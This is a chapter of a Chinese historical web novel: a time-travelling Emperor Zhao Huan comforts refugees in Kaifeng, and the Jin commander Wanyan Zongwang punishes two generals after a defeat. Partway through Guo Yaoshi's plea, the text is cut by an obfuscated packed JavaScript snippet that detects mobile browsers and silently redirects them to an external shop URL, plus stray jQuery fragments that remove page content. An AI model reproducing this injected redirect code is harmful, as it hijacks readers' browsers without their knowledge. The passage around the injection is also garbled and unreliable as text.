当天下午,赵桓带着李纲亲自去了城南门的流民粥棚。
粥棚里挤满了流民。
他们大多是从城外逃进来的,衣衫破烂,面黄肌瘦,冻得瑟瑟发抖,手里捧着一碗热粥小心翼翼地喝着,脸上满是疲惫和绝望。
王二是流民中的一个。
他今年三十多岁,老家被金军占了,爹娘死在了乱军手里,妻子和孩子也在逃难的路上失散了,只剩下他一个人逃到了开封。
幸好陛下还在下令施粥,他每天可以靠着粥棚的热粥勉强糊口。
王二捧着热粥,喝了一口,心里满是苦涩。
这日子,什么时候是个头啊?
金军就要打过来了,开封城能不能守住还是个未知数,等城破了,恐怕连这口粥都喝不上了。
想到这里,他喝得更珍惜了,连碗底都舔得干干净净。
就在这时,一阵欢呼声突然从粥棚外传来,流民们纷纷抬起头,朝着外面望去。
只见一个贵人走过来,身上气度不凡,穿着一身便服,身后跟着一个文士一个壮汉。
他的脸上带着温和的笑容,和流民们亲切地打招呼:“大家辛苦了。”
李纲介绍:“这位是陛下,来看看咱们粥棚的情况,关心大家的生活。”
话音刚落,流民们一个个都跪了下来,边磕头边呼喊,王二也下意识跟着跪下。
他心里满是不可置信。
这就是陛下?果然和他们看起来不一样。
陛下竟然来看他们这些流民了?
赵桓是来安百姓心的,学着前世电视里看到的村干部下乡,走到流民们中间,端起一碗热粥递给身边的一个老人,语气温和:“老人家,天气冷,多喝点热粥,暖暖身子。”
老人接过热粥,激动得浑身发抖,“噗通”一声跪在地上,哭着说道:“陛下!谢谢您!谢谢您还记得我们这些流民!”
“老人家,快起来,快起来。”赵桓连忙让人扶起老人,语气郑重,“朕知道,金军南下,让你们流离失所,无家可归。”
他的声音不大,却字字恳切,说到动情处,眼里也泛起了泪光。
这些百姓也太苦了,他前世生在和平年代,见过最惨的也就是山区的孩子,因此见到这些流民时不由鼻酸,对宋徽宗又多了一丝埋怨。
他倒是跑了,可百姓是无辜的啊!他们不该承受这些苦难。
流民们听到赵桓的话,一个个都哭了起来,心里的委屈和绝望,瞬间爆发出来,却也多了一丝希望。
赵桓抬手示意大家安静,语气坚定,声音清晰地传遍了整个粥棚:“朕今天来,是要告诉大家一个好消息——金军先锋抢我们的牟驼岗粮库,被我们的将士击退了!牟驼岗的粮草和战马都保住了!”
“什么?!粮草保住了?!”
流民们瞬间沸腾了,一个个脸上露出了惊喜的笑容,纷纷议论起来:“太好了!太好了!粮草保住了,我们就有饭吃了!”
“是啊!有粮草,我们就能活下去了,陛下一定能守住开封,把金军赶出去!”
王二也愣住了,随即脸上露出了久违的笑容,眼里的绝望渐渐被希望取代。
粮草保住了,他们有饭吃了。陛下这么关心他们,还亲自来把消息告诉他们,真是好皇帝啊!
他们一定能守住开封,他一定要活下去,找到妻子和孩子!
赵桓看着流民们脸上的笑容,心里也暖暖的,他提高声音,语气坚定:“朕向你们保证,朕会和开封城共存亡,和你们共存亡,绝不弃城而逃!我们一定会击退金军,守住开封,让你们都能回到自己的家,过上安稳的日子!”
“陛下万岁万岁万万岁!”
流民们瞬间爆发出了震天的欢呼,一个个跪在地上,对着赵桓连连磕头,眼里满是感激和信任。
“陛下,我们愿意跟着您守城!我们愿意加入义军,和金军拼命!”一个青壮流民站起身,大声喊道。
“我们也愿意!我们也愿意!”
越来越多的青壮流民纷纷站起身,大声高喊,眼里满是坚定。
他们看到了活下去的希望,就愿意跟着赵桓守住开封,击退金军。
赵桓看着眼前的一幕,有些愣住。
这么多人在他面前跪下,把希望寄托在他身上,这样的场景太震撼了,他感到一种难以言说的震动。
民心所向,众志成城。
他抬手示意大家安静,笑着道:“好!好样的!朕谢谢大家!愿意加入义军的青壮都可以去城门口报名,朝廷会给你们发放兵器和粮食,我们一起守住开封,击退金军!”
“好!我们现在就去报名!”
原本誓死不参军的流民们欢呼着,纷纷站起身,朝着城门口的方向跑去,脸上满是斗志和希望。
王二也跟着人群一起朝着城门口跑去,在心里暗暗发誓。
陛下这么信任他们,他一定要好好打仗,击退金军,保护家园。
……
开封城西北的金军大营。
寒风刮得中军帐的牛皮帘子猎猎作响,帐内的气氛却比帐外的风雪还要冷。
完颜宗望坐在主位上,一身玄色织金锦袍外罩着白狐裘,领口滚着一圈雪色狐毛,衬得他面容丰腴,眉眼间却带着不怒自威的沉肃。
他指尖漫不经心地摩挲着腰间弯刀的鲨皮鞘,目光平静地扫过帐内跪着的两个人。
石抹荣和郭药师都一身血污、狼狈不堪。
半个时辰前,石抹荣带着仅剩的二十几个残兵,踉跄着逃回了大营,一身铠甲被血浸透,头盔不知所踪,活像条丧家之犬。
“大帅!您要给末将做主啊!”石抹荣跪在地上,额头磕得咚咚作响,嘶吼着把罪责推得一干二净。
“不是末将无能!是郭药师谎报军情!他说牟驼岗只有百十来个杂兵看守,毫无防备,可宋军早就在那里布下了埋伏!五百多精锐就回来了二十几个,末将险些就回不来见您了啊!”
他心里又怕又慌,他知道这次惨败,按军法定是死罪,唯有把锅全甩给郭药师才能保住自己的性命。
大帅本就对降将多有提防,唯有如此,他才有一线生机。
郭药师浑身一震,猛地抬起头,脸色瞬间煞白如纸,连忙也伏跪在地,声音抖得不成样子。
“大帅!冤枉啊!臣绝不敢谎报军情!此前臣多方打探,牟驼岗确只有少量杂兵看守,谁也没想到宋军会提前布防啊!臣自归降以来,对大帅忠心耿耿,为大军前驱引路,绝不敢有二心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440139|201026||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!”
石抹荣这狗东西,竟要把所有罪责都推到他身上!
郭药师心里又惊又怒,更多的却是深入骨髓的恐惧。
完颜宗望看着温和,实则杀伐果决,心思深不可测,这次先锋惨败,他会不会一怒之下拿自己的人头立威?
不行,他不能死!他还有用!
整个金军大营,只有他最清楚开封的城防布局,最明白宋廷朝堂的虚实,杀了他,金军想破开封难如登天!
郭药师后背的衣衫早已被冷汗浸透,脑子里疯狂盘算着自救的法子。
帐内诸将皆垂手肃立,连大气都不敢出,只听着两人互相推诿,目光却都不由自主地落在主位上的完颜宗望身上。
他自始至终没说一句话,只是平静地看着底下两个互相撕咬的人,指尖摩挲刀鞘的动作始终没停,那摩擦声在死寂的帐内显得格外刺耳。
许久,他才终于开了口,声音不高,甚至听不出什么怒意,却像冰锥一样扎在人身上。
“你说宋军皆是软骨头,不堪一击,劝我长驱直入,直取汴京?”
他的目光落在郭药师身上,没有半分波澜,郭药师却吓得魂飞魄散,额头死死贴在地上,汗如雨下。
“臣……臣知罪!臣罪该万死!求大帅再给臣最后一次机会!”
他慌忙抬起头,字字急切:“开封外城的酸枣门是城防最薄弱的地方,守将庸碌,兵力空虚。臣愿为大军前驱,戴罪立功,此次必破城门,将功补过!若再有失误,大帅斩了臣,臣绝无怨言!”
完颜宗望看着他,沉默了半晌,嘴角勾起一抹极淡的笑意。
郭药师说得没错,现在杀了他,毫无益处,反而断了自己在宋地的眼睛。
他缓缓移开目光,落在了一旁抖如筛糠的石抹荣身上,语气依旧平淡,却带着不容置喙的威严。
“你身为先锋,贪功冒进,中了埋伏,折损我大金精锐,按军法当斩。”
石抹荣瞬间面如死灰,刚要开口求饶,就听完颜宗望继续道:“本帅也给你一次机会。明日攻城,你率本部兵马为先锋,主攻酸枣门,戴罪赎罪。可你若是再敢败退,定斩不饶,听明白了?”
石抹荣瞬间如蒙大赦,连忙磕头谢恩,额头磕得砰砰作响:“谢大帅不杀之恩!末将明日必拼死攻城,不破城门,提头来见!”
完颜宗望没再看他,缓缓站起身,目光扫过帐内诸将。
“传我将令!明日清晨卯时三刻,全军猛攻酸枣门!不破城门,誓不罢休!临阵脱逃者,全队皆斩!”
“遵令!”帐内诸将齐声应和,杀气瞬间灌满了整座中军帐。
完颜宗望走到帐门口,亲兵连忙上前掀开牛皮帘子,风雪瞬间卷着寒意扑了进来,吹得他衣袍翻飞。
他抬眼望向不远处的开封城,黑沉沉的城墙在风雪中若隐若现。
他心里清楚,这次南下太过顺利,黄河天险不战而得,宋军望风而逃,他本以为能一鼓作气拿下开封,可牟驼岗这一仗,却让他折了锐气,粮草也只抢到了三成,根本撑不起长期围困。
开封城坚,若是久攻不下,等宋廷的勤王大军一到,他便会陷入腹背受敌的险境。
必须速战速决,赶在各路宋军到来之前,攻破开封。